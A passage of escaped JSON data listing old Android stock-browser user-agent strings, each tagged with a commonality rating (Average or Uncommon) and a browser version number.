GT-I9070 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; SGH-T959 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; GT-I9082L Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-ca; GT-I9100M Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; GT-I9060 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; pt-br; SM-G3502T Build\\/JLS36C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; C811 4G Build\\/C811M050) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; MT2L03 Build\\/HuaweiMT2L03) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; BLU STUDIO 5.0 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; sdk Build\\/MASTER) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; en-us; STUDIO 5.5 Build\\/JOP40D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; Y220-U00 Build\\/HUAWEIY220-U00) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-ph; GT-S5360 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; PantechP8010 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; MB865 Build\\/6.7.2-226-EDICS-10) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; ADR6400L 4G Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; sdk Build\\/JB_MR1.1) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0PCV220\\/1.11.506.1 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; LG-MS870 Build\\/IMM76L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-I9070 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; Y220-U05 Build\\/HUAWEIY220-U05) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; Sprint APA7373KT Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; HUAWEI-M835 Build\\/HuaweiM835) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8262 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-es; SGH-T769 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R830C Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I110 Build\\/GA1) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-E970\\/E97020j Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.1; en-us; LG-V909 Build\\/HMJ37) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0P9O110\\/1.51.502.9 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; LG-MS840 Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I437P Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; Sprint APX515CKT Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; SGH-T849 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; tr-tr; GT-I8150 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-P500 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; Android SDK built for x86 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; es-us; SPH-M840 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; pl-pl; SoftwinerEvb Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; zh-cn; KONKA_V983_TD\\/1.0 Android\\/4.0.3 Release\\/5.25.2013 Browser\\/AppleWebKit534.30 Build\\/MocorDroid4.0.3) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; tr-tr; GT-I8160 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I717 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; pt-br; SM-G530H Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-; SAMSUNG-SGH-I727 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; new Madison Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; sv-se; ST21i Build\\/11.0.A.4.22) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; GT-P7500 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; YP-G70 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; de-de; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; GT-I9082 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; ZTE-Z993 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Lenovo-A398t_TD\\/S100 Linux\\/3.0.8 Android\\/4.0.3 Release\\/03.12.2013 Browser\\/AppleWebkit534.30 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Kurio7S Build\\/120a) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; SAMSUNG-SGH-I337 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; ZTE-Z990G Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; ar-ae; GT-P7500 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; CLP285 Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; LG-MS910 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SPH-D710 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; LG-P925\\/V10e Build\\/FRG83G) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; MZ505 Build\\/Moto_MZ505) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-E980\\/E98010k Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-E980\\/E98010p Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Digitac Ultratab;C725 Build\\/ICS) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; HTC_PO58220\\/1.32.502.3 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SGH-I927 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8160 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.1; en-us; pandigitalsprnova1\\/sourceidDL00000025) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S7500 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; GT-S5830i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; G2 Build\\/ICS.Trio_Stealth_G2.20130321) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-es; GT-I8160P Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; LGL86C\\/V100 Build\\/IMM76L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-ca; GT-P5210 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I110 Build\\/FJ1) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; XT603 Build\\/5.5.1Q-117_PAX-69) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SCH-R530M Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SAMSUNG-SGH-I747 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-I9070 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; C5121 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; ar-ae; GT-I9082 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; HTC-PG762 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_PO58220\\/3.10.502.3 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Micromax A47 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; id-id; Andromax AD682J Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build\\/HRI83) AppleWebkit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; vi-vn; GT-S5360 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Transformer Prime TF201 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; pt-br; LG-E615f Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-us; HTC_C525c Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"DDG-Android-3.0.12\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; AT1S0 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R830 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30 USCC-R830\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I577 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.3; en-us; Droid Build\\/FRK76) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; HUAWEI H868C Build\\/HuaweiH868C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; SGH-T959V Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SAMSUNG-SGH-I747 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; GT-I9300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; en-gb; SM-G357FZ Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; SM-T217T Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Galaxy Nexus Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; he-il; GT-I9100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; LG-VS700 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; ME172V Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; ADR6410LVW 4G Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Citycall i930+ Build\\/MocorDroid2.3.5_W12.20_P20.01_TROUT_P9) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-us; XT557 Build\\/V1.65K) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile 